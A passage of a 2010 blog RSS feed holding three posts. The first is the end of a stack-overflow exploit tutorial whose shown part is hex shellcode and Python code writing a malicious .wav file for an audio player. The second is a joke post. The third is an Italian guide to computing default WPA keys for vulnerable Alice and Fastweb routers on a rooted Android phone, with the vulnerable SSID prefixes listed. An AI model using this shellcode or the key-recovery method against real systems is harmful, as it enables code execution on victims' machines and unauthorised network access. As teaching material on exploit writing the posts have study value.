<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>3a<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>d1<span style="color: #000099; font-weight: bold;">\x</span>cc<span style="color: #000099; font-weight: bold;">\x</span>c5<span style="color: #000099; font-weight: bold;">\x</span>1e<span style="color: #000099; font-weight: bold;">\x</span>e2<span style="color: #000099; font-weight: bold;">\x</span>e0<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>cd&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>b6<span style="color: #000099; font-weight: bold;">\x</span>0f<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>87<span style="color: #000099; font-weight: bold;">\x</span>df<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>d7<span style="color: #000099; font-weight: bold;">\x</span>99&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>d3<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>ae<span style="color: #000099; font-weight: bold;">\x</span>0c<span style="color: #000099; font-weight: bold;">\x</span>ef<span style="color: #000099; font-weight: bold;">\x</span>e9<span style="color: #000099; font-weight: bold;">\x</span>60<span style="color: #000099; font-weight: bold;">\x</span>1b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>92<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>dc<span style="color: #000099; font-weight: bold;">\x</span>3b<span style="color: #000099; font-weight: bold;">\x</span>28&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>07<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>27<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>b5<span style="color: #000099; font-weight: bold;">\x</span>98<span style="color: #000099; font-weight: bold;">\x</span>60<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>fa&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>40<span style="color: #000099; font-weight: bold;">\x</span>26<span style="color: #000099; font-weight: bold;">\x</span>0e<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>99<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>76<span style="color: #000099; font-weight: bold;">\x</span>f6<span style="color: #000099; font-weight: bold;">\x</span>8c<span style="color: #000099; font-weight: bold;">\x</span>9f<span style="color: #000099; font-weight: bold;">\x</span>86<span style="color: #000099; font-weight: bold;">\x</span>3e<span style="color: #000099; font-weight: bold;">\x</span>2a&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>7f<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>d8<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>94<span style="color: #000099; font-weight: bold;">\x</span>ab<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>f7&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>a2<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>a0<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>88&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b7<span style="color: #000099; font-weight: bold;">\x</span>dd<span style="color: #000099; font-weight: bold;">\x</span>11<span style="color: #000099; font-weight: bold;">\x</span>af<span style="color: #000099; font-weight: bold;">\x</span>13<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>c2<span style="color: #000099; font-weight: bold;">\x</span>ce<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>a5<span style="color: #000099; font-weight: bold;">\x</span>ef<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>cb<span style="color: #000099; font-weight: bold;">\x</span>1a&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>1d<span style="color: #000099; font-weight: bold;">\x</span>fe<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>ec<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>95<span style="color: #000099; font-weight: bold;">\x</span>8e<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>fb<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>7e<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>73&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>7f<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>81<span style="color: #000099; font-weight: bold;">\x</span>a1<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>15<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>9b<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>84<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>09<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>86&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>97<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>a6<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>ac<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>d5<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>60&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>9e&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
sploit = <span style="color: black;">&#40;</span>buff + eip + nops +  shellcode<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">try</span>:
    f1 = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Dr_IDEs6.wav&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>	<span style="color: #808080; font-style: italic;">#No file checking, any file extension works... (.xyz .foo .abc)</span>
    f1.<span style="color: black;">write</span><span style="color: black;">&#40;</span>sploit<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    f1.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'[*] Success. Load File.'</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">except</span>:
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[-] Error, could not write the file.&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span></pre></div></div>

<p><strong>pwned !</strong></p>
<p>Obviously instead of calc.exe we can put what we want as shown in the video:</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="513" height="410" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=14678675&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1&amp;autoplay=0&amp;loop=0" /><embed type="application/x-shockwave-flash" width="513" height="410" src="http://vimeo.com/moogaloop.swf?clip_id=14678675&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=00ADEF&amp;fullscreen=1&amp;autoplay=0&amp;loop=0" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>The first tutorial finishes here.</p>
<p>See you.<br />
Michele `m7x` Manzotti</p>
<p>References: <a href="http://www.corelan.be:8800/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/">Corelan</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.manzotti.eu/tutorial-write-an-exploit-part-1-jmp-to-esp/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Anche io voglio le scimmie di youtube!</title>
		<link>http://www.manzotti.eu/anche-io-voglio-le-scimmie</link>
		<comments>http://www.manzotti.eu/anche-io-voglio-le-scimmie#comments</comments>
		<pubDate>Fri, 03 Sep 2010 14:42:33 +0000</pubDate>
		<dc:creator>manzotti.eu</dc:creator>
				<category><![CDATA[Reti e Telecomunicazioni]]></category>
		<category><![CDATA[scimmie]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1941</guid>
		<description><![CDATA[ROFL!]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.manzotti.eu/wp-content/uploads/2010/09/scimmie1.png"><img src="http://www.manzotti.eu/wp-content/uploads/2010/09/scimmie1-300x197.png" alt="" title="scimmie" width="300" height="197" class="aligncenter size-medium wp-image-1942" /></a></p>
<p>ROFL!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.manzotti.eu/anche-io-voglio-le-scimmie/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WPA Alice &amp; Fastweb script for Android</title>
		<link>http://www.manzotti.eu/wpa-alice-fastweb-script-for-android</link>
		<comments>http://www.manzotti.eu/wpa-alice-fastweb-script-for-android#comments</comments>
		<pubDate>Wed, 04 Aug 2010 10:52:30 +0000</pubDate>
		<dc:creator>manzotti.eu</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[manzotti.eu]]></category>
		<category><![CDATA[Reti e Telecomunicazioni]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[alice]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[busybox]]></category>
		<category><![CDATA[fastweb]]></category>
		<category><![CDATA[router]]></category>
		<category><![CDATA[wpa]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=1865</guid>
		<description><![CDATA[In questi giorni d&#8217;estate, fuori da sbattimenti vari, sto cercando di portare a termine quella &#8220;ToDoList&#8221; che mi ero fatto durante il periodo invernale. Spesso mi capita di leggere cose interessanti e non aver il tempo necessario per applicarle/testarle/provarle. Così mi limito ad appuntarle e inesorabilmente la lista aumenta. Tra le varie cose, mi ero [...]]]></description>
			<content:encoded><![CDATA[<p>In questi giorni d&#8217;estate, fuori da sbattimenti vari, sto cercando di portare a termine quella &#8220;ToDoList&#8221; che mi ero fatto durante il periodo invernale. Spesso mi capita di leggere cose interessanti e non aver il tempo necessario per applicarle/testarle/provarle. Così mi limito ad appuntarle e inesorabilmente la lista aumenta.</p>
<p><a href="http://www.manzotti.eu/wp-content/uploads/2010/08/router1.jpg"><img src="http://www.manzotti.eu/wp-content/uploads/2010/08/router1-300x272.jpg" alt="" title="router" width="300" height="272" class="aligncenter size-medium wp-image-1922" /></a></p>
<p>Tra le varie cose, mi ero promesso di scrivere due semplici script per il calcolo della WPA di default di Alice e Fastweb compatibili per il mio Android in modo da avere un piccolo coltellino svizzero sempre con me. In precedenza avevo <a href="http://www.backtrack.it/~m7x/hfdroid.html">codato qualcosa</a>, ma visti i numerosi script ormai reperibilissimi in rete non vedo perchè non pubblicare una versione compatibile per Android qui.</p>
<h3>Requisiti</h3>
<p>Per far funzionare al meglio i miei script è necessario avere:</p>
<ul>
<li>Accesso root <a href="http://www.androidworld.it/wiki/Root">link</a> <a href="http://www.androidiani.com/wiki/#Diventare_Root_.28_flash_recovery_.2B_flash_rom_.29">link</a> &#8211; indispensabile per cambiare i permessi ai file</li>
<li>Adb funzionante <a href="http://www.androidworld.it/wiki/ADB">link</a> <a href="http://www.androidiani.com/wiki/Adb">link</a> &#8211; indispensabile per i trasferimenti dei file</li>
<li>ConnectBot <a href="http://code.google.com/p/connectbot/">link</a> &#8211; disponibile nel Market</li>
<li>Astro File Manager <a href="http://www.androidtapp.com/astro-file-manager/">link</a> &#8211; disponibile nel Market</li>
</ul>
<h3>Configurazione</h3>
<p>Una volta preparato l&#8217;ambiente è necessario installare sul mobile <a href="http://www.busybox.net/">busybox</a>, <a href="http://packages.debian.org/sid/bc">bc</a>, e la <a href="http://www.gnu.org/software/bash/">bash</a>. Android lavora su <a href="http://en.wikipedia.org/wiki/ARM_architecture">architettura ARM</a> sono quindi necessari binary compilati per questi sistemi embedded:</p>
<ul>
<li>Busybox <a href="http://manzotti.eu/wp-content/uploads/2010/08/busybox">link</a></li>
<li>Bc <a href="http://manzotti.eu/wp-content/uploads/2010/08/bc">link</a></li>
<li>Bash <a href="http://manzotti.eu/wp-content/uploads/2010/08/bash">link</a></li>
</ul>
<p>Dopo averli scaricati, collegate il mobile in &#8220;Debug mode&#8221; al pc, collocatevi nella directory di adb e procedete con questa serie di comandi:</p>
<pre>
adb remount
adb push busybox /data
adb push bc /data
adb push bash
adb shell
mount -o remount,rw -t yaffs2 /dev/block/mtdblock4 /system
mkdir /system/xbin
cat /data/busybox &gt; /system/xbin/busybox
chmod 755 /system/xbin/busybox
busybox --install /system/xbin
cat /data/bc &gt; /system/bin/bc
chmod 755 /system/bin/bc
cat /data/bash &gt; /system/bin/bash
chmod 755 /system/bin/bash
mount -o ro,remount -t yaffs2 /dev/block/mtdblock4 /system
sync
reboot
</pre>
<p>Prima di utilizzare gli script bisogna considerare che non tutti i router sono vulnerabili ma attualmente solo quelli con il SSID mostrati nelle due liste:</p>
<p>FASTWEB-*-000827*<br />
FASTWEB-*-0013C8*<br />
FASTWEB-*-0017C2*<br />
FASTWEB-*-00193E*<br />
FASTWEB-*-001CA2*<br />
FASTWEB-*-001D8B*<br />
FASTWEB-*-002233*<br />
FASTWEB-*-00238E*<br />
FASTWEB-*-002553*</p>
<p>Alice-46*<br />
Alice-48*<br />
Alice-54*<br />
Alice-55*<br />
Alice-56*<br />
Alice-93*<br />
Alice-96*</p>
<p>A questo punto scaricate gli script e caricateli nel mobile.</p>
<ul>
<li>Fastweb <a href="http://manzotti.eu/wp-content/uploads/2010/08/fast">script</a></li>
<li>Alice <a href="http://manzotti.eu/wp-content/uploads/2010/08/alice">script</a></li>
</ul>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">adb remount
adb push fast /sdcard
adb push alice /sdcard</pre></div></div>

<h3>Utilizzo</h3>
<p>Prendete il mobile e con l&#8217;applicazione Astro aprite lo script per modificate gli input: la variabile ssid e mac nel caso di Alice, la variabile input nel caso di Fastweb.</p>
<p><a href="http://manzotti.eu/wp-content/uploads/2010/08/wpid-screenshot_2.png"><img src="http://manzotti.eu/wp-content/uploads/2010/08/wpid-screenshot_2-180x300.png" alt="" title="wpid-screenshot_2.png" width="180" height="300" class="aligncenter size-medium wp-image-1907" /></a></p>
<p>Dopo di che utilizzate ConnectBot per avere una shell in Android e per lanciare gli script digitate questi comandi:</p>

<div class="wp_syntax"><div class="code"><pre class="txt" style="font-family:monospace;">su
cd /sdcard
bash fast
bash alice</pre></div></div>

<h3>Demo</h3>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/fofgNa81VA8&amp;hl=it_IT&amp;fs=1?rel=0&amp;hd=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/fofgNa81VA8&amp;hl=it_IT&amp;fs=1?rel=0&amp;hd=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
<p>Enjoy.</p>
<p><strong>Disclaimer</strong>: Non mi retengo in nessun modo responsabile per le informazioni descritte in questo articolo e per l&#8217;uso che ne vogliate fare.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.manzotti.eu/wpa-alice-fastweb-script-for-android/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
	</channel>
</rss>

